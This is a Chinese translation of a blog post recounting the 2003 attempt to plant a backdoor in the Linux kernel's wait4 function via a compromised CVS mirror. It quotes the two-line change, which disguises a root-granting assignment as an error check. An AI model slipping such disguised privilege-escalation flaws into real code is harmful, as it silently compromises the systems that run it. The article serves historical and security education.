揭秘!:2003年Linux后门事件
创始人
2024-03-01 11:25:53
0

最近Josh写了一篇文章,讲述2006年Debian Linux中出现的一系列安全bug,探讨了这些所谓bug是否是NSA植入的后门。(最后他作出结论:可能不是)

今天我想讲述的是另外一个事件——2003年某些人试图在Linux内核中植入后门的故事。这次事件很明确,的确有人想植入后门,只是我们不知道此人是谁,而且,也许永远都不会知道了。

时间回到2003年,当时Linux使用一套叫做BitKeeper的系统来存储Linux源代码的主拷贝。如果开发者想要提交一份针对源码的修改,就必须经过一套严格的审核过程,以决定这份修改是否能够合并进主拷贝。每个针对主拷贝的修改都必须附带一段说明,说明当中都包括了一个记录相应审核过程的链接。

但是有些人不喜欢BitKeeper,于是这些开发者们就用另一套叫做CVS的系统(译注:Linus一直拒绝使用CVS,后来不得已使用了BitKeeper,并在因某些原因BitKeeper不再让开源社区免费使用后,花了不到一个月的时间自己开发了GIT的原型,并且投入了使用),维护了一份Linux源代码的拷贝,这样他们就能随时按自己喜欢的方式获取Linux源代码了。CVS中的代码其实就是直接克隆了BitKeeper中的代码。

但是在2003年11月5日的时候,Larry McVoy发现,CVS中的代码拷贝有一处改动并没有包含记录审核的链接。调查显示,这一处改动由陌生人添加,而且从未经过审核,不仅如此,在BitKeeper仓库的主拷贝中,这一处改动竟然压根就不存在。经过进一步调查后,可以明确,显然有人入侵了CVS的服务器并植入了此处改动。

神秘人物究竟做了哪些改动?这才是真正有趣的地方。改动修改的是Linux中一个叫wait4的函数,程序可以使用该函数进行挂起操作,以等待某些事件的触发。神秘人物添加的,就是下面这两行代码:

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))

retval = -EINVAL;

[有C语言编程经验的人也许会问:这两行代码有什么特别的?请接着往下看]

猛地一看,好像这两行代码就是一段正常的错误校验代码,当wait4函数被某种文档中禁止的方式调用时,wait4就返回一个错误代码。但是一个真正认真的程序猿立刻就会发现代码中的问题,注意看在第一行末尾,“= 0”应该是“== 0”才对。是的,“== 0”在这里才是判断当前运行代码的用户ID(current->uid)是否等于0,而“= 0”不但无法判断,反而修改了用户ID的值,即,将其值赋值为0

将用户ID设置为0,这是一个很严重的问题,因为ID为0的用户正是“root”,而root账户可以在系统中做任何事情,包括访问所有数据、修改任意代码的行为,能够危及到整个系统各个部分的安全。因此,这段代码的影响就是通过特殊手段使得任何调用wait4函数的软件都拥有了root权限。换句话说,这就是一个典型的后门。

客观地说,这一招很漂亮。看起来就像是无关紧要的错误校验,但真实身份却是一个后门。而且它混在其他经过审核的代码中间,几乎规避了所有审核可能会注意到自己的可能性。

但是它终究还是失败了,因为Linux小组有足够强的责任心,注意到了CVS仓库中的这段代码没有经过常规审核。Linux还是略胜一筹。

这是NSA干的吗?只能说有可能。因为有太多拥有技术能力和动机的人有可能实施了此次攻击。那么,到底是谁呢?除非某些人主动承认,又或者发现新的确凿证据,否则,我们将永远不会知道。

via: https://freedom-to-tinker.com/blog/felten/the-linux-backdoor-attempt-of-2003/

本文由 LCTT 原创翻译,Linux中国 荣誉推出

译者:tinyeyeser 校对:wxy

相关内容

等了30年,微软MS-DO...
曾经称“开源是毒瘤”时有多么嫌弃,现在“微软 ❤️ 开源”就有多么...
2025-06-26 09:11:25
开源图像编辑器 GIMP ...
IT之家 6 月 24 日消息,科技媒体 9to5Linux 昨日...
2025-06-24 13:12:59
微软 Win11 Linu...
IT之家 6 月 20 日消息,在今年 5 月的微软 Build ...
2025-06-21 13:12:08
Qt Creator 17...
IT之家 6 月 19 日消息,科技媒体 9toLinux 昨日(...
2025-06-19 15:11:13
阿里云CentOS镜像源配...
在开源世界的广袤版图中,CentOS以其卓越的稳定性与坚实的可靠性...
2025-06-17 06:11:09
Linux Mint 22...
Linux Mint 开发团队近期传来好消息,他们计划在即将发布的...
2025-06-09 22:41:07

热门资讯

Helix:高级 Linux ... 说到 基于终端的文本编辑器,通常 Vim、Emacs 和 Nano 受到了关注。这并不意味着没有其他...
使用 KRAWL 扫描 Kub... 用 KRAWL 脚本来识别 Kubernetes Pod 和容器中的错误。当你使用 Kubernet...
JStock:Linux 上不... 如果你在股票市场做投资,那么你可能非常清楚投资组合管理计划有多重要。管理投资组合的目标是依据你能承受...
通过 SaltStack 管理... 我在搜索Puppet的替代品时,偶然间碰到了Salt。我喜欢puppet,但是我又爱上Salt了:)...
Epic 游戏商店现在可在 S... 现在可以在 Steam Deck 上运行 Epic 游戏商店了,几乎无懈可击! 但是,它是非官方的。...
《Apex 英雄》正式可在 S... 《Apex 英雄》现已通过 Steam Deck 验证,这使其成为支持 Linux 的顶级多人游戏之...
如何在 Github 上创建一... 学习如何复刻一个仓库,进行更改,并要求维护人员审查并合并它。你知道如何使用 git 了,你有一个 G...
2024 开年,LLUG 和你... Hi,Linuxer,2024 新年伊始,不知道你是否已经准备好迎接新的一年~ 2024 年,Lin...
什么是 KDE Connect... 什么是 KDE Connect?它的主要特性是什么?它应该如何安装?本文提供了基本的使用指南。科技日...
Opera 浏览器内置的 VP... 昨天我们报道过 Opera 浏览器内置了 VPN 服务,用户打开它可以防止他们的在线活动被窥视。不过...